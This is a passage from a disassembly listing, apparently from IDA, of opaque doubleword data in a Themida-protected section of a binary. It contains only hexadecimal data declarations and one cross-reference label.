		dd 155CE78Ah, 2FA0000Ah, 61A2C312h, 0CC035230h,	4D13A903h
		dd 7BE042D1h, 8B00FBDEh, 0CFD4456Bh, 76E6461Dh,	0B2141616h
		dd 0A45C00C4h, 360F9E07h, 0BC0231E6h, 0FA25A05Ch, 50E4C090h
		dd 538B00F5h, 42FE84Bh,	8F03305Eh, 0AC148173h, 2981C54Fh
		dd 61E1AD87h, 77486680h, 6B9E5F7Eh, 0F302783Dh,	3A9BCD00h
		dd 0B5AE552h, 375324F4h, 91A0B2Bh, 0EB230C0h, 8C76704Fh
		dd 0F5FF0092h, 0BA9AF7Bh, 5C01B6CBh, 33522625h,	0B020BC82h
		dd 17C324F7h, 0A6CD0034h, 9E60228Ah, 0A8CE2E00h, 0CB2A8324h
		dd 0E9563BD0h, 78E08E84h, 0F320D035h, 7B001D53h, 98B6606Ch
		dd 1D315487h, 4058DF8Fh, 0BC9F86C8h, 1412F7F6h,	0FE7D9Dh
		dd 2A21DA4Ah, 0A101594Fh, 0C0F1BD9Bh, 8320921Bh, 33B700FCh
		dd 1FEE3C15h, 7D00ABBCh, 5B45FE8h, 8167ADh, 708B61D5h
		dd 6BB62C8Eh, 0A334F000h, 3C8DBF2Dh, 3E2E686h, 32510ABAh
		dd 0ADB0C501h, 97006EE5h, 5C6599EAh, 8D192Ah, 27DC48B9h
		dd 0A88F2296h, 0C0FE9D0Fh, 0EEE3809Eh, 167311Dh, 0C6621612h
		dd 204C0C8Ah, 9803AA53h, 9D9F047Ch, 806C925Ah, 0E6D85DD0h
		dd 69A03CD1h, 0F8E0B780h, 0A62F659Bh, 8FBDDD00h, 4A9D0E8Ch
		dd 21AFC75h, 0B3E15BE4h, 0BCC01366h, 8100D4F2h,	525672EBh
		dd 2612D76Eh, 7868E47h,	2B2ADAC7h, 5A170000h, 100059ABh
		dd 0CAC9C594h, 9C558Bh,	0D1FA6CF1h, 1505295Ch, 9ED7A80Eh
		dd 12DE8010h, 0B041E55Bh
		db 0A4h, 2Dh, 0F2h
byte_530DEF	db 0EBh			; DATA XREF: Themida_:00559A70o
		dd 50C00BE3h, 861E3773h, 2640F46Ah, 99BD2282h, 9265002Fh
		dd 0D8F9F514h, 800AB6Ch, 0E8D7A423h, 6A805Ah, 4C2478CCh
		dd 0CD2815E4h, 0BA21B13h, 0B7E27000h, 2E7B99h, 313D2D50h
		dd 64BF4AFAh, 118BCB00h, 71969A73h, 0E3C20072h,	918E396Fh
		dd 0BD09FF50h, 80E85816h, 342E3049h, 41E0F6h, 27DA9D31h
		dd 666A4808h, 0D6B958h,	0BC18A8FFh, 38F4694Fh, 3A9CCD44h
		dd 0D8BD05F8h, 0EE1683h, 0A24B3100h, 0CF71EFBEh, 81C15D03h
		dd 0D0589F3Bh, 0B653EBE7h, 0A3ABE1E4h, 0FC58E428h, 244C5Ch
		dd 0AA54CD57h, 78D762h,	800D4786h, 437242ECh, 7AD49707h
		dd 1D1EF5D3h, 0D5B3B280h, 7D395434h, 0BE9A1C0Ch, 0DBAE49DDh
		dd 518D7440h, 42B46100h, 32F84793h, 3ED32FB8h, 3B80C895h
		dd 0DDDEE685h, 0C3CA025Eh, 0F3FD1AC9h, 0C42F7E22h, 100B03ECh
		dd 0D18E390h, 0C20EAFD5h, 8CB04022h, 11915AAh, 0F93D10C7h
		dd 0E0FADF85h, 0CC003B74h, 704E836Dh, 70D6896h,	0BD217E7Bh
		dd 39280082h, 9700C4B7h, 0B49E9F5Ah, 0B03AD9DDh, 3CB870C4h
		dd 0A28E1CF9h, 6860965Ch, 9AF8DF7Ah, 0BC238400h, 0C96EF0CDh
		dd 6F7C009Dh, 0B7A08857h, 0A51F3DE5h, 0EBC0D965h, 5D1A945h
		dd 153F0097h, 79E72AB3h, 600D2D0h, 0AD525D56h, 2338296h
		dd 88976289h, 0A040BCD1h, 7600DBD2h, 32FE99E5h,	0AD39CAh
		dd 0DF0978E7h, 7F626CD1h, 8002537Fh, 35FEBA49h,	0A943C061h
		dd 0A1F20FABh, 0FC7897Ch, 78680112h, 401831D4h,	0CB57EA0h
		dd 24989E60h, 0CD93D0h,	99B6F201h, 75625587h, 2676D3FAh
		dd 7639BD00h, 0CE7BA881h, 434C001Fh, 28FF2A0Dh,	0DC010C63h
		dd 25C7E174h, 17EDAF0Fh, 0D28266B9h, 589636D0h,	0CD8F38E0h
		dd 53D95562h, 0E0D8FB4Eh, 8A3BE7DDh, 9FF9CF00h,	614CD0C6h
		dd 8E960350h, 534B6721h, 0C31BE880h, 12F94Ch, 0AEF4B969h
		dd 0F631681h, 65FB0FC5h, 0F713D860h, 1009D88h, 0BA7AD23Bh
		dd 7E992976h, 0BD280551h, 81F6505Eh, 80874B9Dh,	0FB559128h
		dd 3DF869B4h, 2D80C298h, 0A5AAD8EFh, 913E1E44h,	42339D3Fh
		dd 0C0040740h, 819AC4h,	1E626AF5h, 5C685B6h, 5961348h
		dd 0CD3FD39Bh, 42C4A0h,	2F47E548h, 0A51F33ABh, 7302E2B8h
		dd 0FCA2A809h, 3CCC949Dh, 831EC527h, 0AA9C69CFh, 64A21FECh
		dd 36D94332h, 0D8F39531h, 7E833B98h, 0D50A3Eh, 384ABE80h
		dd 72B55358h, 7DF100FFh, 0E6F5B6Eh, 87009626h, 0B4ED0C9Ch
		dd 0F04450A1h, 60A617BAh, 0A3C4004Dh, 4F487953h, 580020FCh
		dd 0BBDE0877h, 3076FBh,	36E57A46h, 94DA431Fh, 7700A67Eh
		dd 0FC2C6D52h, 0FA112E38h, 22100B6h, 0AF9E4DB1h, 0C3A9F07h
		dd 5FF004Eh, 4858509Ch,	179B00FAh, 0B92285BDh, 51006443h
		dd 3CFB113h, 23BBBBEh, 57362B6Dh, 2FC35FC9h, 92A8BCC0h
		dd 0B0745200h, 1D56F7DDh, 0FA0E034Eh, 46859DB6h, 73682AE8h
		dd 3069A902h, 60D50192h, 24D05Eh, 0E5517DDEh, 0BD47C7C4h
		dd 7366B900h, 0FB657757h, 0B4952429h, 0BEA100A0h, 0F5670430h
		dd 2E13260Eh, 0A5322081h, 0CC17EFh, 0DDB7E434h,	0B1D574CAh
		dd 0E5D06D00h, 0F670C18Ah, 570B01C8h, 2A0206A8h, 0F583C008h
		dd 307AB000h, 8FE6C4D2h, 0FF1100FBh, 0E5599462h, 8A00CE76h
		dd 2F40521Eh, 17D1Fh, 0F49831EDh, 74806B3Fh, 8F005C74h
		dd 2B2D76D9h, 498BDCh, 0F1284BF5h, 0E5E826F4h, 5D1FE17Ch
		dd 4440C466h, 4AA8B42Eh, 9080369h, 0BFF0011Bh, 0FE88D283h
		dd 7000E0ADh, 6C6742C2h, 1FE3A3h, 4D66537Ch, 46D3D5FAh
		dd 0EF74D900h, 94285EEEh, 0AD4C0061h, 68AA5FA4h, 0DFAC369h
		dd 95833C16h, 80CF4423h, 9B4C2DFh, 52BCE5FAh, 7099E020h
		dd 8B00D5BFh, 3CA56B66h, 1EFAFAAh, 0CB616D15h, 0D80AD10Dh
		dd 0B318192Fh, 0DDF203CCh, 934F0F4Bh, 770568DFh, 661081BEh
		dd 52C32BCh, 417C0E18h,	75B980FFh, 8E28D36Ch, 0AE0210B2h
		dd 0FE4D76A8h, 437940CDh, 0F0187978h, 0E8F41FE6h, 0CF003CF3h
		dd 0FC326580h, 0C173DA07h, 0F15CBC00h, 8399FABEh, 0DD860089h
		dd 0A4CF5464h, 6B00FB3Fh, 0F853E8F5h, 4E5C2EB9h, 14C77Eh
		dd 0B72D982Ch, 89C83900h, 35B8341Dh, 732CB8CCh,	4D79020Ah
		dd 434F464Ah, 46D9883h,	7D0719Bh, 967451FDh, 0D3EB7E00h
		dd 0EF47D9B7h, 0CA1F007Ah, 1BD444B3h, 80701E3Fh, 2001D57Ah
		dd 0D33215Ah, 17D00970h, 0D88300FBh, 40F3D41Ch,	6BE2C1B1h
		dd 0EA20A203h, 0CA1563h, 3776AC88h, 0FACD88A1h,	4587FC00h
		dd 4277966Dh, 0AF23031Bh, 71BCE038h, 7A44F003h,	0F3C970h
		dd 0E6B617B0h, 166C1A0Fh, 0DB949D03h, 5BDAB0h, 50A0E3D1h
		dd 0C8F1B814h, 609CBE03h, 0F525180Bh, 0C166A500h, 55D07Ch
		dd 0B6B5D32Dh, 94603E71h, 820075E6h, 0EEBD2C12h, 4F0C2A2h
		dd 5DD24B52h, 53C4C1ADh, 1B10F44Fh, 0EC4580Eh, 5126209Fh
		dd 387C23h, 0F4B8B541h,	6E6A6752h, 0AC4BB00Fh, 5998A07Dh
		dd 0AD9676h, 0F210902Bh, 0CA6D9CB4h, 0BD0AE77Bh, 0B423D7AFh
		dd 0ACDEEF01h, 0F88E7958h, 8620BE53h, 1BEEBF06h, 75B65F03h
		dd 98CF3BCDh, 76D69Dh, 2124BA68h, 0FB02D4AFh, 0F85AE703h
		dd 0F803C0E3h, 3A3B63h,	96F77588h, 0E0112056h, 165FE107h
		dd 3B40DDCAh, 757903h, 146A733Ch, 40BAEE96h, 38BB3F00h
		dd 0D76E0F7Fh, 0A9170E2Bh, 626EE25Eh, 43AF03FEh, 7807843Dh
		dd 0C8178BB1h, 419E48C0h, 102161A1h, 0C0549B79h, 180C6897h
		dd 86A69C4h, 20756091h,	0CA565D94h, 241BB71Ch, 0CF9C6101h
		dd 0B1F0A97Fh, 297561D4h, 8046BD8Ch, 76CB97A9h,	1FA08EECh
		dd 791CA49h, 7709619Eh,	0B52EC326h, 0B49C02C0h,	408E8930h
		dd 303544D9h, 0A3C8D479h, 0C33EAD95h, 1E13CC7h,	686589B3h
		dd 0B2CC2341h, 3DFC85h,	358ECB7Ch, 0ADC83F5Ch, 30B15400h
		dd 0FD637A9Fh, 388700AAh, 0E6A6CF47h, 0CA77ACFAh, 0A100C17Ah
		dd 0D427ABA4h, 330A3B2h, 3BEF0CC4h, 9DA0D6E8h, 7500D74Dh
		dd 70D5342Eh, 0E264586h, 2F739706h, 0B0BF801Fh,	0B6BC6F55h
		dd 399D9600h, 34A1A6BBh, 0F6B90051h, 0CF12F8BFh, 0E3005274h
		dd 1BE672Eh, 0BD970Fh, 6613FC3Ch, 0EC6D7065h, 99172501h
		dd 8C2C4162h, 0C4D75E4h, 0C59478AFh, 0F91928h, 7C67988h
		dd 0F9A60D96h, 0EA71F0B9h, 0FE0011F2h, 7B1DCDA5h, 314610h
		dd 997E9C5Dh, 5854FBD5h, 0F29B3B00h, 9A2A422Eh,	4FCE00C3h
		dd 6AB75A7Eh, 0C90045C2h, 1723D490h, 7EBB187h, 8F3B0DA4h
		dd 7FD50E1h, 1D00CB2Fh,	945F4499h, 0C3C2B7h, 0F4AF9A54h
		dd 595E7849h, 0F504CD00h, 0D09CFC05h, 0A521070Bh, 54BB32EDh
		dd 0D51DC3B3h, 0CE712F0h, 6C0EE02h, 0D877650Eh,	0FD5603EFh
		dd 0B1259C27h, 0DCB638E9h, 300389ECh, 712CA2ACh, 0BA11C8BBh
		dd 20DD00B9h, 2F9484DAh, 0AE1C4407h, 1EC0ECE4h,	646037DFh
		dd 0A1FC0039h, 81826FF8h, 0FA285FBEh, 8B01A565h, 0EAE19D60h
		dd 0E9D412C9h, 0F90600A5h, 8D1B86D0h, 0EEA0DBDDh, 55386A52h
		dd 0CE6C87DFh, 0E9E06FF6h, 1D0F9F37h, 4073D77Fh, 511F455Bh
		dd 3C1FBB09h, 3483E47Ah, 8ACAE98Eh, 0ADBCA74Fh,	0A0279E43h
		dd 0CFE64Ch, 0B5570226h, 48353D29h, 0B4892100h,	67FAF2F5h
		dd 183C0186h, 0EAA48BD9h, 95CDCC8Ah, 2790CB07h,	52A0827Eh
		dd 1C0B9E8h, 0D1F5B047h, 30F8E6B5h, 8D0745CAh, 28B6334Ch
		dd 17AE3B3h, 0E7E2FC60h, 0E8174288h, 8A004B9Eh,	90F52DF3h
		dd 0B03B0Eh, 0FBC4162Fh
		dd 10A8AF44h, 809B5207h, 97A0E38Dh, 0EC8BA94h, 376A1F03h
		dd 0DBEE6920h, 0CD00FD34h, 0D3C933E4h, 5853F6h,	3DBB4D05h
		dd 48185509h, 2CFD800h,	0C5BD1B15h, 7AA4E641h, 0B17629h
		dd 3CDD6ABCh, 9562AA0Bh, 28246D17h, 5ED86B00h, 0CB93E6h
		dd 9249D5E2h, 112EEF5Ch, 854C3F00h, 969748C1h, 5FAC3F19h
		dd 3F7661Fh, 0F927E917h, 0B84A18E8h, 53D82000h,	0BFE8C033h
		dd 6FEB1C86h, 63FEA51Dh, 9A01821Dh, 0F52EBAEFh,	0DDDCC4h
		dd 98F3561Ah, 0B61C46Eh, 80B94F38h, 58CFA690h, 127B7Ah
		dd 8899E177h, 1E314A54h, 0EBD174Ch, 408DD6DAh, 59F9C932h
		dd 0D270151h, 0D8CBE655h, 0E377D826h, 21A8F600h, 4B022CE5h
		dd 0FE9003BDh, 0CF7624EDh, 13625088h, 8CF59900h, 93491A63h
		dd 4305001Bh, 0BFFF1283h, 2301EDC8h, 22CCE73Bh,	20D44FAAh
		dd 5D260021h, 4354BF0Eh, 271D6D73h, 0AF431DF1h,	0A09D91DBh
		dd 486B48DCh, 0D200A8FFh, 2A2D6FC9h, 0D7002FB7h, 174F8862h
		dd 0C05E94A0h, 817F4748h, 0D30048EFh, 0F9346087h, 0B92ABC1h
		dd 526562C3h, 2E330280h, 517F727Ah, 0B576C00h, 5A07186Fh
		dd 0F5A603D8h, 0CDB18ABAh, 0F40D8C89h, 5007AEAAh, 0E05545B7h
		dd 92D899E0h, 0E8A300F3h, 7EB4639h, 4203F1F0h, 0E07153D3h
		dd 84FD0Dh, 0A7194890h,	9076h, 0BF8D6359h, 18DFF815h, 0E9C39100h
		dd 0FFE24F0Dh, 7E5404AAh, 0C19F0469h, 20B9F0E6h, 0B100083Dh
		dd 0B7F406C4h, 0D5421Ch, 33CA012Ch, 18A98896h, 0F92FC92Eh
		dd 0BEE1013Bh, 873AA37Eh, 6A7FCh, 0DB1E3508h, 0D9EF7046h
		dd 0EDFAF000h, 65D04721h, 725A0003h, 0ECF51560h, 2C030577h
		dd 0B0B77E62h, 9252C087h, 419C1264h, 91240076h,	582A4E20h
		dd 9B1ECDE0h, 9F4F0635h, 4A0FFE0Dh, 7205CE0Ah, 0E4C9DC00h
		dd 387553BDh, 7FA652Dh,	0CF6B5F22h, 9D2AA2h, 0A358D48Ch
		dd 350045CDh, 18424EC7h, 1E3372EBh, 0C4657B95h,	80FA7726h
		dd 0A8C8C1BCh, 0CD2A9F00h, 3B1BEDCFh, 641648BBh, 0F7C35500h
		dd 492F1CECh, 6ED1B900h, 0E0C72913h, 65B4277Ah,	5B2C095Ch
		dd 125DC400h, 57B509h, 0A47801AAh, 0B13EB953h, 64C73D00h
		dd 2BAC04E7h, 92D70059h, 2E575B7Fh, 4307095Dh, 70A61F22h
		dd 0FE1D4BF0h, 3B3209DFh, 7C20187Fh, 738882EFh,	64A9F20Eh
		dd 5170A7A5h, 4A6D79E0h, 27258h, 0C6B1D2E6h, 0B294326Ah
		dd 0B0B958h, 5939DEBFh,	0C6F57h, 2625C4AEh, 0F9FE8188h
		dd 69007C7Ah, 6EF55CEDh, 5A060Eh, 2D4C6D07h, 4FAB9F63h
		dd 4AD71200h, 9E2FD21Ch, 0DAA50090h, 71417DF4h,	9D00AB5Ah
		dd 0A7089624h, 77ACD16Bh, 7C4777Fh, 0B0FFCA68h,	0F70D175Bh
		dd 17CB128h, 0AF36C44Ch, 47130B00h, 0D698555Fh,	37C31DA9h
		dd 49A180B8h, 0D02FB52Dh, 0BCC98E07h, 6D706702h, 3F968h
		dd 5D903E42h, 0D43FDC57h, 0EA6ED900h, 7A1F40D5h, 0DFCB16D3h
		dd 0AC6A0093h, 0AAAD11A5h, 0C4D0F00h, 9AB8F6E9h, 0D471002Dh
		dd 77CE6919h, 0D872F747h, 0F289458h, 0EB46BA6Fh, 355880C2h
		dd 0DF531Fh, 0B169BD8Bh, 0D86EA4Fh, 1AC8B200h, 0B413C221h
		dd 3084006Eh, 0FD498371h, 0B9002022h, 47F1A35Eh, 5DF6A0h
		dd 88405A31h, 0CC458AEFh, 0B070E700h, 0ED5E60DBh, 473900C4h
		dd 0CB2EE529h, 0B2094837h, 8380FBA9h, 0A84D9040h, 1977B78h
		dd 9DBA251Ah, 307AA23Ah, 0AE70D6C0h, 1F3D420Ch,	0E1305Bh
		dd 5221C34Fh, 0A5EC5737h, 0CFF8BC70h, 68E43101h, 0C9A77984h
		dd 5B8F0h, 86B46EA1h, 1E59B20Bh, 8538C100h, 24071D02h
		dd 0D28400FCh, 52BC73EBh, 0AD00A4FAh, 0DB3C65A2h, 0F99C1Ch
		dd 636A0CAAh, 9322060Dh, 0B521E700h, 8AC3B1Ah, 25E80Ah
		dd 0A3B62DEAh, 921631B8h, 0AF4CF9B0h, 32007043h, 658905BAh
		dd 30B7BAAh, 0FCA1E3E4h, 0B901D953h, 0A86AA981h, 753078EBh
		dd 8EBCA036h, 0CD520018h, 3D413B28h, 0F803BCE8h, 0FE0A75D4h
		dd 9E7DA821h, 353A0067h, 0A2974902h, 0AD0F6EBCh, 0E016DC9Ah
		dd 0B9DFAF13h, 0E0C022Fh, 2CECC10h, 255D7BE0h, 0E5041503h
		dd 0D3B01F41h, 0EB20FFB9h, 3B17AD2h, 1C52B7EFh,	0C588A163h
		dd 0F601033Eh, 768E7099h, 6D306953h, 0B92A00A5h, 26B3CF6Dh
		dd 441FDE7Dh, 0DC8103BEh, 68296F0Eh, 0D66E036Bh, 0CE9BBFC6h
		dd 3DBEF000h, 0FDDD590Dh, 2DE00193h, 5428239Fh,	0E442E54Bh
		dd 6F0043ACh, 6AF6D5BEh, 0BC3885h, 0EA074668h, 71B27B79h
		dd 2400147Ch, 5C703EAFh, 3391E30h, 0F8C19E6Ah, 2816505Ah
		dd 0CE00E012h, 55B53A57h, 0E16AECF5h, 1B28DE4h,	0B64572C1h
		dd 245CC04Dh, 4A003038h, 21FDAB57h, 7FEE27Bh, 5BF876EEh
		dd 0F336D397h, 46F71C7h, 7337F00Ch, 24D0DD3Bh, 240E9881h
		dd 0B3354026h, 60189317h, 21E1F0CDh, 800713E4h,	12565B51h
		dd 2C085A0h, 60E3071Fh,	0A0F78605h, 22324CF8h, 8956A00Dh
		dd 0D7CCC078h, 0B6E70025h, 537357B8h, 0A700EA4Eh, 1B9DBCCDh
		dd 642A12h, 999E599Fh, 0AAD9B027h, 0A5190E00h, 0A255C290h
		dd 5AB301EEh, 3EDCCEB6h, 0E04EFC1Dh, 0D1731C00h, 0B7A05812h
		dd 15BA00E7h, 9742CB5Ah, 0F207DC06h, 7A193153h,	2428F830h
		dd 0CA43003Fh, 0FAEE0F25h, 88008DE5h, 569CBFFh,	3202DCh
		dd 0CEA0BA8h, 9C332F8Bh, 7500717Dh, 1FEE824Ch, 0ECDFF1Dh
		dd 0BB48E203h, 4013B987h, 5F358DE6h, 0A7BECA1Ch, 433E8200h
		dd 73ACDBFh, 0B58A0FDAh, 0CA21705Eh, 0A53FE2DEh, 5B5F012Bh
		dd 9F273FC9h, 0D5E2130h, 0FD94655Ah, 0CF0FF098h, 68E88837h
		dd 7EF43A43h, 0C9491F18h, 3E84008Ch, 0F0CF37B2h, 8040973Fh
		dd 4E72A8BFh, 0EEFCD85h, 1766AE18h, 2DD3B4C0h, 601DA01h
		dd 875E0C23h, 788778B1h, 0D007433Ah, 0A35A4A57h, 0EB0FF50Ah
		dd 0E603A0C3h, 0FC97746h, 83A9E878h, 7218A1A0h,	7C309C75h
		dd 0F4D9A1D0h, 6B6C3009h, 94D1B610h, 44009D7Ch,	8F51AFF5h
		dd 90C4E2h, 2429C2Ch, 789BF083h, 0A8DF700h, 502BCEBDh
		dd 3D78A9h, 662A3E4Fh, 17B75B2h, 265AFA00h, 25A51508h
		dd 51380055h, 0CD34711Ch, 6F00D55Dh, 0C233B1A9h, 0ECCE890Fh
		dd 846A00EAh, 0EF5E5B71h, 50004370h, 61DE8860h,	7F21569Ch
		dd 0F96E051Bh, 80D517C7h, 5299CF0Eh, 7C434000h,	8610D890h
		dd 0A5591DB8h, 4CECDCh,	41B31F73h, 3F00FE7Fh, 0C840D1ACh
		dd 0B0A26h, 0B92DF6CFh,	767E0708h, 70826D03h, 7FE873EDh
		dd 46010350h, 0ECCE7B6Ch, 0F7AD5CB0h, 0AB38DA00h, 4BC29596h
		dd 889900AEh, 51A48249h, 0EA001852h, 2D131DE7h,	0B0CFD9h
		dd 0B18986E5h, 4D70D092h, 569BBB09h, 0C31E001Dh, 5D2923h
		dd 0E4AAAB4Ch, 193BF4AEh, 0F01E75E0h, 0C10008BDh, 0A969A2Bh
		dd 0C54C00CFh, 78C6710Fh, 0B3EA43E5h, 17F94900h, 74105EE0h
		dd 0CDBA0119h, 0B6386948h, 0CEC88042h, 0CAD6ECC0h, 0CC090022h
		dd 8EDFF035h, 0B50006E4h, 70BE3389h, 0CAA74Eh, 585B4F6Fh
		dd 3F55E691h, 1D3D8707h, 0D017955Fh, 0F7F4E710h, 0C2750E33h
		dd 0C01EB180h, 32F24349h, 4B07E12Eh, 1DB120Bh, 0B913F9A3h
		dd 0DCC57EBDh, 0FEB34E20h, 163C0FC4h, 0C01EC278h, 3ACEA22h
		dd 1E030EA0h, 0D117FFE3h, 0FED4E0B9h, 4B0424A1h, 0CA700032h
		dd 0DBAD37B3h, 76349818h, 4FB240h, 625D61FFh, 84391D23h
		dd 50499D00h, 96AFDE73h, 77F8C9h, 0F502DDB2h, 226A1A51h
		dd 0EE9AC326h, 333CB01h, 4DE08106h, 14210786h, 0E068BFDDh
		dd 0B15E8B1h
		dd 0D3F06600h, 5A3F4EA2h, 0C6400FB3h, 0F280C494h, 0D04FDA75h
		dd 0AF8BE504h, 0D4870EFDh, 0F9650D0h, 5CD700F2h, 753BB884h
		dd 1558A7BFh, 158701Fh,	0CB2006A6h, 0BE63D4h, 0DF2C97ACh
		dd 0F8226DCDh, 0CF2F4100h, 0FEA9084Ah, 88300101h, 1EF5BAEAh
		dd 775CE40Fh, 0E09C4D07h, 0BD9013BEh, 0FCE23DCh, 189B04EFh
		dd 4140C0FDh, 0BC716CD8h, 724A8E00h, 0A78A5D48h, 0C23C005Fh
		dd 6FF11C5Eh, 0EE0F6CA1h, 80B2AB81h, 343843FDh,	80CF0064h
		dd 0EAC89E3Fh, 3E0090D9h, 0A1A8A76Ch, 585F96C9h, 15000A85h
		dd 0C8A67570h, 26F6918Ch, 9CAAA40Ah, 39E12066h,	5B0CD3B7h
		dd 51FB6903h, 0E07C3F7Fh, 18C8BAh, 0C6BB1986h, 0DEF79BB7h
		dd 8500D674h, 0C1726E29h, 30CEF691h, 0E9480ABAh, 0FC011120h
		dd 0C07C458Ch, 0E3DD9E2Ch, 7C19ECC4h, 1ABE00E4h, 2E3E8BDDh
		dd 0F50F2FC4h, 0E0DA1EF8h, 0BA82DCCFh, 0D9E7007Ch, 69892D12h
		dd 0A1F7E51h, 7858F72Bh, 9AD0D8h, 0B1263A6Ah, 0CD3EAEB4h
		dd 0A7ECC513h, 0DB34A102h, 0E075E3C1h, 1FA6B1B9h, 0C06D9DA0h
		dd 3DA37CF8h, 6A0E4C8Ch, 5FF9EED6h, 0C9C3B9F4h,	540800C5h
		dd 0B589716Bh, 65340B9h, 3E240280h, 369DB20Eh, 0BC419BA0h
		dd 0E40003B8h, 24B4E745h, 305CC369h, 6C70E17Ch,	84EAB211h
		dd 0C8772C71h, 541C6316h, 62F6F301h, 0D609805h,	597A10h
		dd 6952A3E1h, 332B4331h, 0E4563700h, 0E848E92Ch, 1EF9E69Ah
		dd 0CB7C698Dh, 0AC820FFCh, 20949D42h, 388B8C10h, 8D67F0C0h
		dd 0D900332Ah, 984ED0B3h, 995BABh, 44E60E03h, 2E1525Fh
		dd 7CBBC005h, 4BC0A985h, 3AB30420h, 0D419A5EBh,	4FD3281Bh
		dd 4710004h, 706F2979h,	0ED0780Ah, 7C8D5655h, 0C8A42098h
		dd 3445000h, 9CCDDBC2h,	60DC74C7h, 1A6F41CAh, 7C00DA4Fh
		dd 91ED6BF7h, 53024Ah, 0FC68E66Eh, 0A994B4DBh, 0B8F9E000h
		dd 271A98ABh, 512C1DBDh, 0FD3E8BB9h, 5F407F0Fh,	0C9E56AE8h
		dd 0D32D7A00h, 82208030h, 403E0C66h, 90407D61h,	107A3F01h
		dd 21297F44h, 7CFCA431h, 52263151h, 808A6208h, 5F6F9FE0h
		dd 0E23E1388h, 0E5A90727h, 0D0A39B96h, 2BE6A1C7h, 15F25B00h
		dd 0A6821267h, 7BE1282Ch, 75FB019Ch, 1DF5CFE6h,	0E761C009h
		dd 0AD37A470h, 8BF02088h, 951A35h, 0FAE022ACh, 45424CE8h
		dd 0C70C0900h, 1CB9E23Ah, 9D110ABBh, 80F46F78h,	6BFFB8DBh
		dd 0B4A5644Bh, 0D4E061E1h, 0F5735E08h, 31B1A11Fh, 68DDC040h
		dd 71C49Fh, 2051729Bh, 36D40C7Eh, 7A760EF8h, 28D3F30Ch
		dd 14675C9Ah, 7445516Bh, 31E6A987h, 0C0DF497h, 0D96A40D5h
		dd 1581A00Bh, 1D220213h, 19EC809Fh, 1B5A8B6h, 175E4840h
		dd 242778FCh, 0E45C6408h, 49510556h, 0D860B798h, 100C5706h
		dd 0C472081Ch, 0E6075FCEh, 7A9E50C8h, 140319B7h, 0F5CC89A8h
		dd 0DCD80DEh, 0A75901C3h, 0C2B25A40h, 8989BE7Bh, 79CCADh
		dd 24D5EF2h, 0B91C01ABh, 0DB48FFEEh, 8280D032h,	372B20C0h
		dd 88AA71h, 0A3C3D620h,	689EE7E6h, 6F2D0100h, 92DF810Dh
		dd 0CF293A75h, 22C3628h, 1C1605D6h, 19187F01h, 92E5002Ah
		dd 0DA739D4Dh, 39ECE172h, 84008490h, 0EBD13EC9h, 3007D630h
		dd 0F5580373h, 4C8435C6h, 150A2978h, 0E12C32DFh, 0DCCCCF7Fh
		dd 0BF1E3DE6h, 0C804A3F0h, 0CCC07321h, 7C013F92h, 0C77E006Fh
		dd 2E2D10Ch, 8600A8E6h,	0CB4D9D45h, 172A184h, 980DF26Fh
		dd 0E5B9A79Ah, 8067F457h, 0E5AFBF0Eh, 0D92BC058h, 778CF23h
		dd 81BE6C76h, 59C1702Ah, 95007029h, 3EC31DBCh, 136084h
		dd 0FFEA68FDh, 0A399949Ch, 0CE4F9301h, 0D912C1C3h, 5E012980h
		dd 5460DBBBh, 0F9524607h, 0C8404751h, 1D843F77h, 7BA8CCCh
		dd 13D22021h, 5F98350h,	9FCDF8E4h, 225C3D00h, 0F2B6AED3h
		dd 0F0D86079h, 56B13B64h, 9FD90801h, 3244FE6Bh,	885017D1h
		dd 2A455D3h, 5BCC81C1h,	83E01BADh, 0B8A0F1CDh, 8A00E184h
		dd 21E3667Fh, 7DD6BF4h,	6D47FFAFh, 593DA054h, 4FF27276h
		dd 1D142600h, 571943D6h, 8C1105CAh, 642E97h, 66CC4BECh
		dd 511D04D0h, 8D0F4871h, 0F46CE08Ch, 42E3D9h, 0AF955363h
		dd 66FC735Bh, 80A19B3Ah, 4C88D321h, 13DFAEECh, 0F837103h
		dd 0E9E38F4Ch, 8AC8BE5Eh, 6E0199FBh, 0AEE3BDB0h, 0E440215Ch
		dd 0BEAD43h, 8287CDC4h,	36FF59F0h, 3A8C0200h, 0D7068E41h
		dd 0DBC10383h, 0F55B0D93h, 3407D0D0h, 3914C401h, 85541B9Bh
		dd 0E556C08Eh, 0C090FEC5h, 0CC5F36ECh, 2DAFAB00h, 0C889AD69h
		dd 20281CAEh, 1FBEECB4h, 0DC7C5497h, 1B6A440h, 8F5716BFh
		dd 0E0BE9B1Fh, 7C761227h, 0B9208960h, 0B02BF6h,	3A58CC63h
		dd 1E971629h, 0D9697A0Fh, 0F6C4C199h, 1BCF6195h, 0A4243C30h
		dd 4AFF20EBh, 0C6F10488h, 7A949073h, 9300379Ch,	281E441Fh
		dd 4A775E9h, 0C812EE83h, 0E03880C4h, 8100962Bh,	0E7D79005h
		dd 0C450D85h, 502407C2h, 7B481269h, 0AFBE0024h,	0C7E6F5B4h
		dd 67FE2448h, 59A4BCh, 1F5FDC26h, 0A493304h, 251201CCh
		dd 0D8A27324h, 486ECCC0h, 1DC07407h, 3F338ED2h,	0BB104743h
		dd 45611D76h, 80857189h, 0B817B3A5h, 4DA100EAh,	34886A70h
		dd 0C9EB2BB5h, 3028E839h, 0E203B204h, 0C88AA56h, 0D56C0E93h
		dd 0AE48438Ah, 0CAF242h, 8CBEA862h, 0F0583201h,	4E7069A7h
		dd 64230821h, 3130F3A2h, 7BEF226h, 272C8EDEh, 0E73EE2C3h
		dd 0D3027880h, 672133DDh, 0CFB08C99h, 811D9820h, 787ABAh
		dd 302673A6h, 75F14E7h,	62B0553Dh, 2809A6Fh, 0CA4FED58h
		dd 6826E0AFh, 613BA951h, 0D77F00AAh, 82CB478Bh,	60C6002Bh
		dd 0CC03098Eh, 96142974h, 36C3728h, 15E9E191h, 10FA92C7h
		dd 0C981F64h, 2277E000h, 4A6C8FADh, 0AB1264Eh, 78E90CF8h
		dd 1F009B40h, 0A6121711h, 0E45E16h, 0C293712Eh,	961EFBA8h
		dd 9CAE8024h, 0D5B5702h, 49CC80E7h, 0D1BF39h, 43C63DCAh
		dd 0B457970Fh, 674EDC13h, 0D6869000h, 181284CDh, 380E8E6Eh
		dd 6C01A4F4h, 427A7D01h, 0B04F0383h, 12048A01h,	30EE405Bh
		dd 13000766h, 1E218DB4h, 1A5D131h, 4EB65FD6h, 0C0F91C3Bh
		dd 1A015BE6h, 41B42F63h, 0A03F66DDh, 1D05F01Eh,	0E0CED7EFh
